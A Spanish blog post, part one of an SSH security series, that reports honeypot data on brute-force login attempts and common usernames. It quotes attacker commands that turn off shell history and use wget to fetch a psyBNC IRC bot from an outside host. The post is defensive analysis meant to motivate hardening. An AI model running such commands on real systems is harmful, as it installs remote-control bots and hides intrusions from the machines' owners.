26 may 2010

Seguridad en SSH (1)

Mi programa favorito es sin duda OpenSSH. Te permite abrir una terminal de forma remota, abrir aplicaciones en modo gráfico, crear túneles entre máquinas, redirigir puertos, transferir ficheros, ... y todo ellos de forma segura encriptando el tráfico entre los extremos. OpenSSH goza de un tremendo éxito y se estima que en el 2000 ya lo usaban dos millones de usuarios (fuente); pero esto tiene su lado malo y es que lo hace un blanco muy apetitoso para los atacantes. Existen multitud de máquinas que se dedican a escanear la red buscando equipos con servidores SSH accesibles y a lanzar ataques contra ellos.



OpenSSH inicio su andadura en 1999 y es un desarrollo maduro con muy pocos fallos, aunque inevitablemente surge alguno de vez en cuando; por este motivo la mayoría de los ataques se basan en el uso de fuerza bruta mediante programas como medusa que se dedican a probar un diccionario de nombres de usuario y claves contra una máquina. Para evitar que nuestra máquina se vea comprometida es esencial tener el sistema operativo actualizado y sobre todo una buena configuración del servicio SSH, la cual veremos en otra entrada porque primero nos centraremos en los ataques que podemos sufrir por SSH si tenemos una máquina accesible desde internet.

Para hacernos una idea de los que nos podría pasar si no configuramos adecuadamente nuestro servidor SSH veremos algunos datos que he recolectado en mi máquina utilizando kojoney, un ligero honeypot, escrito en Python, que simula un servidor SSH. Los datos fueron recolectados usando kojoney en el puerto 22 (por defecto) abierto a internet. El periodo de los datos abarca de 03/11/2009 a 25/05/2010 (203 días).

  • Número de conexiones: 26567 (130 conexiones por día), de las cuales 2168 consiguieron autentificarse en el honeypot
  • Nombres de usuario más usados:
    14510 root
    448 test
    315 nagios
    311 oracle
    263 admin
    163 postgres
    144 user
    144 operator
    121 web
    120 ts
    112 guest
    108 teste
    106 zabbix
    99 ftp
    96 backup
    91 office
    76 ftpguest
    66 test1
    60 mysql
    59 webmaster
    55 ftpuser
    54 teamspeak
    50 testuser
    47 master
    46 upload
    43 soporte
    42 usuario
    40 zenoss
    39 shoutcast
    38 temp
    38 svn
  • Diferentes IP atacantes: 428
  • Numero de atacantes por país:

Si observamos los datos se ve claramente que la táctica de los atacantes se basa en atacar servidores SSH mal configurados, es decir servidores que hacen uso de usuarios y claves por defecto. También llama la atención el elevado número de atacantes, con una media de dos atacantes diferentes por día. Para continuar podemos ver los comandos ejecutados por algunos de estos atacantes:


##Lista el directorio actual
ls
##Desactiva los logs
unset HISTSAVE
unset HISTLOG
unset HISTORY
##Comprueba los usuarios conectados a la máquina
w
##Intentar cambiar la clave de usuario
passwd
##Intenta obtener información sobre la CPU
cat /proc/cpuinfo
##Comprueba si wget está instalada
wget
##Comprueba que wget puede acceder a internet
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
##Descarga un bot para controlar el sistema por IRC
wget http://nasaundernet.is-the-boss.com/psybnc-linux.tgz

La intención del atacante es bastante clara, obtener acceso a la máquina y cambiar la clave de usuario (hay que evitar la posible competencia) para después instalar un bot IRC con el que controlar la máquina. En este caso se trataba de psyBNC. El motivo de controlar la máquina comprometida mediante un bot IRC es poder utilizar la máquina sin conectarse directamente a ella, dejando de esta forma menos huellas; así como poder controlar todas las máquinas comprometidas simultáneamente desde un único canal IRC.

Seguramente el destino de estos servidores comprometidos sea su uso para enviar spam, servir de plataforma para atacar a otras máquinas, usarlos como proxy, ... La mayoría de estas máquinas son servidores sin actualizar y a los que no se presto el interés necesario a lo hora de configurarlos de forma segura. Para que no nos pase esto en la próxima entrada veremos como configurar un servidor SSH de forma segura.

No hay comentarios: